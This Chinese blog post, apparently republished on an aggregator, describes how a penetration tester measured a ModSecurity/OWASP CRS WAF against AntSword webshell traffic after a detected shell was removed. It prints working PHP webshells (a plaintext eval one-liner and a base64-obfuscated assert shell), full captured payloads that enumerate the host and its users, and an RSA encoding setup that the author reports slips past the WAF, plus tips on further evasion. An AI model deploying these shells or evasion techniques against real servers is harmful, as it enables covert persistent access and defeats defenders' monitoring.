最近在一次授權滲透測試中遇到了一個棘手的場景，萬能的隊友已經找到了后臺上傳點，并傳了小馬然后開心地用antsword進行連接，但是由于明文傳輸很快被waf感知，并引起了管理員的注意，很快我們的馬被清了，真是偷雞不成蝕把米。

痛定思痛，我們判斷對方并不能盡快修復漏洞，于是臨陣抱佛腳，希望于通過加密算法提高攻擊的質量。首先要做三件事

第一，迅速在本地復現對方環境，第二，配置多種加密組合成攻擊載荷，第三，用開源安全模塊modsecurity測試攻擊載荷加密后的效果。

本地環境組建

從保留的截圖來看，對方的php版本是5.6.40,所以我要搭建一個apache+php5.6.40的測試環境。打開virtualbox，鏈接復制出來一份centos鏡像系統，按照以下流程配置一遍。

1. 安裝apache

yum install -y httpd httpd -v Server version: Apache/2.4.6 (CentOS) Server built: ? Aug ?8 2019 11:41:18

2. 安裝php5.6

yum -y install epel-release rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm yum -y install php56w php56w-mysql php56w-gd libjpeg* php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mbstring php56w-bcmath yum -y install httpd php-gd56w php-intl56w php-mysql56w mod_ssl openssl mcrypt php5-mcrypt56w yum -y install php56w-mcrypt php56w-soap php56w-intl ?php56w-pdo systemctl restart httpd.service php -vPHP 5.6.40 (cli) (built: Jan 12 2019 13:11:15) Copyright (c) 1997-2016 The PHP Group

做一個index.php用以顯示phpinfo()，本機訪問時為了測試方便關閉firewalld

systemctl stop firewalld ? ? ? ? //當然也可以通過firewall-cmd去開放端口

為了后面查看攻擊流量，再裝一個wireshark，包含wireshark-gnome等等，直接用*替代了。

yum install wireshark*

配置apache-modsecurity手邊沒有waf設備，沒法對流量進行測試，于是用mode-security，以及OWASP(開放Web應用程序安全性項目)核心規則集-CRS進行測試，縱然效果不如實際場景來的直觀，但足以說明問題。

yum -y install mod_securitycd /etc/httpd git clone https://github.com/SpiderLabs/owasp-modsecurity- crs.git mv owasp-modsecurity-crs modsecurity.d cd modsecurity-crs cp crs-setup.conf.example crs-setup.confvi /etc/httpd/conf/httpd.conf Include conf.modules.d/*.conf Include modsecurity.d/owasp-modsecurity-crs/crs-setup.conf Include modsecurity.d/owasp-modsecurity-crs/rules/*.conf systemctl restart httpd

modsecurity的默認配置是檢測到攻擊會阻斷，我們將它改為只記錄。

vim /etc/httpd/conf.d/mod_security.conf SecRuleEngine On (攔截) SecRuleEngine ?DetectionOnly 記錄tail -f /var/log/httpd/model/modsec_audit.log //查看攔截日志

測試一些攻擊向量會在log里看到記錄，證明配置完成。環境搭建完成。

攻擊流量配置、分析、檢測

明文php-webshell配置

首先寫個一句話看看明文webshell流量傳輸。

vim test1.php <?php? @eval($_POST['aaaa']); ?>

配置蟻劍進行連接

明文流量分析

用wireshark查看測試連接的流量

POST /test1.php HTTP/1.1 Host: 192.168.1.13 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 993 Connection: closeaaaa=@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "620e2fc"; echo @asenc($output); echo "71a0ccfbc1"; } ob_start(); try{ $D=dirname($_SERVER["SCRIPT_FILENAME"] //dirname()函數獲取給定文件路徑中的目錄部分，而$_SERVER['SCRIPT_FILENAME']全局預定義變量用于獲取當前執行腳本的完整路徑 ); if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]); //如果沒有獲取到就用PATH_TRANSLATED,獲取當前腳本所在文件系統(非文檔根目錄)的基本路徑。這是在服務器進行虛擬到真實路徑的映像后的結果。Apache 2 用戶可以使用httpd.conf 中的 AcceptPathInfo On 來定義 PATH_INFO。 $R="{$D}"; if(substr($D,0,1)!="/") { foreach(range("C","Z")as $L) if(is_dir("{$L}:"))$R.="{$L}:"; } else{$R.="/";} $R.=" ? ?"; //以上是判斷windows或者linux盤符，進而把獲取的目錄信息存入變量 $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; //posix_getegid()返回當前進程的有效用戶組ID，posix_geteuid()返回當前進程的有效用戶ID $s=($u)?$u["name"]:@get_current_user(); //get_current_user()方法進行獲得PHP當前腳本所有者名稱 $R.=php_uname(); //php_uname返回運行 PHP 的系統的有關信息 $R.="{$s}"; echo $R;;} catch(Exception $e) {echo "ERROR://".$e->getMessage();} ; asoutput(); die();//輸出 HTTP/1.1 200 OK Date: Wed, 29 Jan 2020 12:53:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 136 Connection: close Content-Type: text/html; charset=UTF-8 620e2fc/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache71a0ccfbc1

為了更加清楚antsword發出的流量包，我認真看了一下發的包，并查了一些相關函數，做注釋的同時感嘆了PHP函數的牛逼，并勾起了我的好奇心，對這幾個函數做了本地測試。

<?php? echo posix_getegid(); echo posix_getlogin(); echo get_current_user(); echo php_uname(); 0 t1ger root Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64

果然牛逼！和返回包現象保持了一致。同時也說明了如果明文直接進行探測，這種流量在waf面前無異于自投羅網！

明文流量檢測

waf測試結果如下：

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] Message: Warning........... Apache-Handler: php5-script Stopwatch: 1580358081210887 7750 (- - -) Stopwatch2: 1580358081210887 7750; combined=5379, p1=753, p2=4202, p3=42, p4=155, p5=227, sr=194, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0. Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 Engine-Mode: "DETECTION_ONLY"

統計數據如下，匹配規則數按照grep line|wc -l計算

?

Apache-Error?? ?Message?? ?匹配規則數?? ?level
11? ? ? ? ? ? ? ? ? ? ?11? ? ? ? ? ? ? ? 22? ? ? ? ? ? ? ? ? 3

接下來我們先測對稱密碼。

Base64&&rot13 webshell配置

Antsword自帶幾個可供測試的shell，給我們提供了非常大的方便。

我順便貼一下代碼。先來看看base64的代碼

<?php? $ant=base64_decode("YXNzZXJ0"); $ant($_POST['ant']); ?>

Base64&&rot13 流量分析

POST /php_assert_script.php HTTP/1.1 Host: 192.168.1.13 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 942 Connection: closeant=%40eval(%40base64_decode(%24_POST%5Bq9c4fa426fb243%5D))%3B&q9c4fa426fb243=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMzRhZTE3IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI1YmJhN2YiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw%3D%3D

base64加密之后的流量除了eval之外至少不會包含那么多的高危函數，加密之后我們再來測試。

Base64&&rot13 webshell流量檢測

waf測試結果如下：

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file Message: Warning. Matched phrase "base64_decode" at ARGS:ant. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "301"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: base64_decode found within ARGS:ant: @eval(@base64_decode($_post[y07ae431d0730c]));"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] ... ...

統計數據如下

Apache-Error?? ?Message?? ?匹配規則數?? ?level
7?? ?7?? ?14?? ?3

通過Antsword界面配置rot13加密及解密，抓包看了下流量，僅僅是將base64的加密函數變成了str_rot13

ant=%40eval(%40base64_decode -> ant=%40eval(%40str_rot13(

攔截數據和base差不多，waf統計數據如下

Apache-Error?? ?Message?? ?匹配規則數?? ?level
10?? ?7?? ?14?? ?3

由此可見，對稱加密算法下eval、base64,rot13這些函數也是可以觸發較高告警等級的。但是相比于明文傳輸，觸發的告警會少一半，于是筆者進一步嘗試一下antsword提供的非對稱加密算法。

RSA加密流量配置

版本>=2.1.0開始，Antsword作者新增了RSA模式。蟻劍默認下僅支持PHP。另外需要Server開啟php_openssl拓展。

修改php.ini，去掉extension=php_openssl.dll前的注釋，重啟Apache

使用方法：

Antsword->系統設置->編碼管理->新建編碼器->PHP RSA->命名為rsa_php->點擊RSA配置->生成

1、將下方的php代碼copy到虛擬機里，命名為rsa.php

2、配置antsword連接類型選擇rsa_php

3、測試連接

RSA加密流量分析

貼上wireshark抓的流量

POST /rsa.php HTTP/1.1Host: 192.168.1.13Accept-Encoding: gzip, deflateUser-Agent: antSword/v2.1Content-Type: application/x-www-form-urlencodedContent-Length: 1712Connection: closeant=W%2B9beN7Ltke390bzZGS5JbOBCnO8SRXW6Z8w0WaMF6CdAymaCu6NeWE9FX0kyCFs3jaLkDWkEvcTsSC2gEu85l5ugsVJUK6bTWFlVNeRBoezjTjUJZdjGvnjrxjd5Pn4iZaRjoaxAZPeZP2ozupbevWFUId4ZzkKZ7bIVPrZKk4%3D%7CYjt1kz5Gkj2N6Ajkqp3VXcg%2FEA7emPXV6oyTwZAZS9Ux1%2Fpby5PIuU9LsMZmGlMqGXvRFO23is9MUJpF66yboIAIYqpGRJCDgSP4S%2BfG6DD0lRYGEOIEsfpaLSVMhxZtR6OnFXp%2FfbXqmgGUk0a8HCUfQ83XmXS%2BRsl0Yx2PFc4%3D%7CAWtIrpychlQENib6basrK89LJcjnKk%2Bf5mVM72MOnPHxaviQFXws2TKNdGPI4SI9%2Fkwl%2FUGqB22s6NOwCza1f%2BkzGK7FqEciITMZMNFbokFsmjG8IiWkRO%2B%2BbWWnsMesfavJub9aEln41x8U97WjgKGKMMdqXZHrIRS4KU8pQhU%3D%7CXLL0DnlWOLx3hNXd2VGzmbdcgmtQoiyiiPNQCiBkAbUK1mLM14l6f22Pkl2tSSw%2F9dYIkdZ91wUok9GHDBMmKkL6D%2BJGQxrJDyQXEfytOzfzZmKqp%2BJ%2BryVm2zwLJMXTdpZ%2BUsBWgVzlD%2Bxga6%2F7rCqkG%2FtaWM6e%2BGegcS4lWTE%3D%7CJGJR50q4jSkL028qffvT%2Be%2BnJcMQth6jz86sntyuI3GZQUtjS5%2FoCByIqsGi8zPwCKS0J%2FAEiEGhAwN7%2FBQXYjyVWAs5VpDhPrVUs7EbqFgllVmrNt8T5Rt7O%2FCHVSiR2AQjyG%2BxB1LjO5ElX%2FH8Pfh25dDpVaFt3MEr1lxT69I%3D%7CSIirF52ZEhs%2FMBfco2kWouurB%2F%2FhCvLG29%2BK70a6t8Io%2FE%2F7VL5IO38s2j%2Bjq%2BSw6dUDL9cEUbEx2G2U4r0fHiDSYPbbn9WS6FbQSCPHxG6lxLHCXmmkKxj%2B2P8khyMM%2FHdVCWai%2B5L5hXYr%2BUWFkCkbv%2BUyYUSsfL29sGxWeVA%3D%7Ci1qZBSL6Dfu31cisSj3J%2BY7epLuQl62DdEWMCiZRQOz5AHFsPFsWtO59uedRC0CfMOhcbIDGGq2GNThL8VPz%2FUfLJTd3kuoFo7p225iPcYOKJS75V36ccHw3bMI3LOWcEhUF3LPX2YcaLSvwDDyHfrnWL2Qj6VmQKew8edoAIdU%3D%7CkJih3pPT70J6BiPll9o4PtH%2Byl%2BmB8%2BUPDAS%2FfAu4uzi2yDMCIdzdkaFLlnsUKewHXLf1mWWVpGkfqLCttgZed9wUtl6N22C3nQGZqZ%2FqnNiKeBYK0%2FJBmimOAf7nSMB1WF%2Bab5RmRq6cSSwrWc4ya93kVJzmIg1BdyaiycdN5I%3D%7CHV2y7vs6wQUIQ8DnvveCeD8xtjRecf%2F%2B7rAl7Y4Wa8S4Y0onKYHOz2Nz0hgBJtFN%2BLRIj9%2B%2FYyOq%2Fslq0XW%2BolQCUl5hf8%2F3Y9OmlxKvSCGf3A0IIAquqSaJXpU4w8rqVyP9Od2bgDXDzsOx8YgVdigeyZxLS0TNNODTGIATb7Y%3DHTTP/1.1 200 OKDate: Thu, 30 Jan 2020 05:47:09 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40X-Powered-By: PHP/5.6.40Content-Length: 133Connection: closeContent-Type: text/html; charset=UTF-88ee773/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache47970246

經歷非對稱加密算法之后,整個流量傳輸的數據除了length之外,肉眼已經分別不出來, 這個效果筆者比較滿意.

RSA加密流量檢測

?

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"]Apache-Handler: php5-scriptStopwatch: 1580363229118571 7666 (- - -)Stopwatch2: 1580363229118571 7666; combined=6153, p1=574, p2=5170, p3=39, p4=156, p5=213, sr=205, sw=1, l=0, gc=0Response-Body-Transformed: DechunkedProducer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0.Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Engine-Mode: "DETECTION_ONLY"

| Apache-Error | Message | 匹配規則數 | level || ------------ | ------- | ---------- | ----- || 1 ? ? ? ? ? ?| 1 ? ? ? | 1 ? ? ? ? ?| -- ? ?|

waf也只能檢測到Host header is a numeric IP address,這基本是說waf對于RSA加密的webshell流量基本沒什么防護能力，往后的安全設備檢測只能依賴于殺毒軟件。

這樣的加密程度對筆者本次實驗來說已經夠用了。但是同樣還存在著很多很多的問題，比如繞殺軟，混淆代碼等等，每一個方向都需要專注、細心、長久的投入。

PS:隱藏攻擊流量也可以通過改UA,設置multi發包,花樣過狗過盾甚至過人等等。過狗千萬條,安全第一條,連馬不謹慎,隊友兩行淚。

總結

以上是生活随笔為你收集整理的apache日志 waf_WAF对WebShell流量检测的性能分析的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。